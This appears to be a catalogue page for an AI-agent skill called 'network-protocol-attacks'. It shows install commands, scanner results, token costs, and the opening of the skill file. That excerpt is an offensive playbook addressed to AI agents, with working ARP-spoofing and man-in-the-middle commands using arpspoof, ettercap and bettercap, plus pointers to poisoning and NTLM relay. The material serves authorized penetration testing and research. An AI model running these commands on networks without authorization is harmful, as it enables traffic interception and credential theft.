HackSkills is an organized knowledge base of installable skills that gives AI agents practical security knowledge across areas such as web security, privilege escalation, reverse engineering, and digital forensics. It is intended for bug bounty work, penetration testing, CTF competitions, and authorized security research. The catalogue entries are the project's own master, category, and topic skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add yaklang/hack-skills --skill network-protocol-attacksgit clone --depth 1 https://github.com/yaklang/hack-skillsWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/yaklang/hack-skills/network-protocol-attacks)<a href="https://agentmods.dev/skills/yaklang/hack-skills/network-protocol-attacks"><img src="https://agentmods.dev/badge/skills/yaklang/hack-skills/network-protocol-attacks/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/yaklang/hack-skills/network-protocol-attacks"><img src="https://agentmods.dev/badge/skills/yaklang/hack-skills/network-protocol-attacks.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- Socket fail
- Snyk fail
- NVIDIA SkillSpector warn
SkillSpector: 1 finding, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high YARA Match · line 95 YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00069 | $0.02796 |
| Opus 5 | $0.00034 | $0.01398 |
| Sonnet 5 | $0.00014 | $0.00559 |
| Haiku 4.5 | $0.00007 | $0.00280 |
Grade A, and why
network-protocol-attacks scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
Copies of this mod
3 near-identical copies found in the catalogue:
- network-protocol-attacks — 100% identical, 0 lines differ
- network-protocol-attacks — 100% identical, 0 lines differ
- network-protocol-attacks — 92% identical, 4 lines differ
How it starts
The opening of the file, as written. The whole thing — 331 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: Network Protocol Attacks — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert network protocol attack techniques. Covers ARP spoofing, name resolution poisoning (LLMNR/NBT-NS/mDNS), WPAD abuse, DHCPv6 takeover, VLAN hopping, STP manipulation, DNS spoofing, IPv6 attacks, and IDS/IPS evasion. Base models miss the chaining opportunities between these attacks and the nuances of modern switched network exploitation.
0. RELATED ROUTING
Before going deep, consider loading:
- tunneling-and-pivoting after establishing MitM position for traffic redirection
- ntlm-relay-coercion for relaying captured NTLM hashes from poisoning attacks
- unauthorized-access-common-services for exploiting services discovered during network attacks
- traffic-analysis-pcap for analyzing captured traffic from MitM
Advanced Reference
Also load NAME_RESOLUTION_POISONING.md when you need:
- Detailed Responder/mitm6 configuration and workflows
- NTLM relay target selection and chaining
- Credential format analysis and cracking priorities
1. ARP SPOOFING
Gratuitous ARP — MitM Positioning
# arpspoof (dsniff suite)
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP &
arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP &
# ettercap — ARP poisoning with sniffing
ettercap -T -q -i eth0 -M arp:remote /VICTIM_IP// /GATEWAY_IP//
# bettercap — modern framework
bettercap -iface eth0
> set arp.spoof.targets VICTIM_IP
> arp.spoof on
> net.sniff on
Selective Targeting
# bettercap — target specific hosts, avoid detection
> set arp.spoof.targets 10.0.0.50,10.0.0.51
> set arp.spoof.fullduplex true
> set arp.spoof.internal true
> arp.spoof on
Detection Indicators
- Duplicate MAC addresses in ARP table
- Gratuitous ARP storms from non-gateway IPs
- Tools:
arpwatch, static ARP entries, 802.1X port authentication
What ships with it
1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 6d ago First seen · 331 lines · 69 tokens per session scan A 332e60484c9b
network-protocol-attacks is a skill published in the GitHub repository yaklang/hack-skills (2,143 stars, last pushed 2mo ago), licensed MIT. It adds 69 tokens to every session and 2,796 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
systematic-debugging
Use when encountering any bug, test failure, or unexpected behavior, before proposing fixes.
local-ai-agents
Build local-first AI agents that run entirely on a developer workstation with Microsoft Foundry Local and Qwen function-calling models. Covers Small Language Models (SLMs), the OpenAI-compatible local endpoint, sandboxed local tools, local RAG with Chroma, local MCP servers, hybrid cloud/local routing, and the…
next-cache-components-adoption
Turn on Cache Components in a Next.js app and resolve the blocking routes it surfaces. Use when the user wants to enable, adopt, or migrate to Cache Components, flip the cacheComponents flag, work through a flood of blocking-prerender / instant validation errors, run the cache-components-instant-false codemod, or…
insight-error-page
Write or audit an insight-kind error page for the Next.js dev overlay. Use when creating a new errors/ .mdx page, auditing an existing one, or checking that a page matches the framework fix cards. Covers page structure, title alignment, FixCard cards with Copy prompt button, code snippets, terminology verification…
next-cache-components-optimizer
Drive a Next.js route to instant navigation by setting up an agentic loop, under Cache Components / PPR, on initial load (hard navigation) and client-side navigation (soft navigation). Encode the goal as a failing @next/playwright instant() e2e and work it to green, one verified route at a time; the shipped test then…
next-partial-prefetching-adoption
Turn on Partial Prefetching in a Next.js app and work through the insights it surfaces. Use when the user wants to enable or adopt Partial Prefetching, flip the partialPrefetching flag, opt routes in with export const prefetch = 'partial', audit Link prefetch={true} behavior, preserve existing prefetched UI with…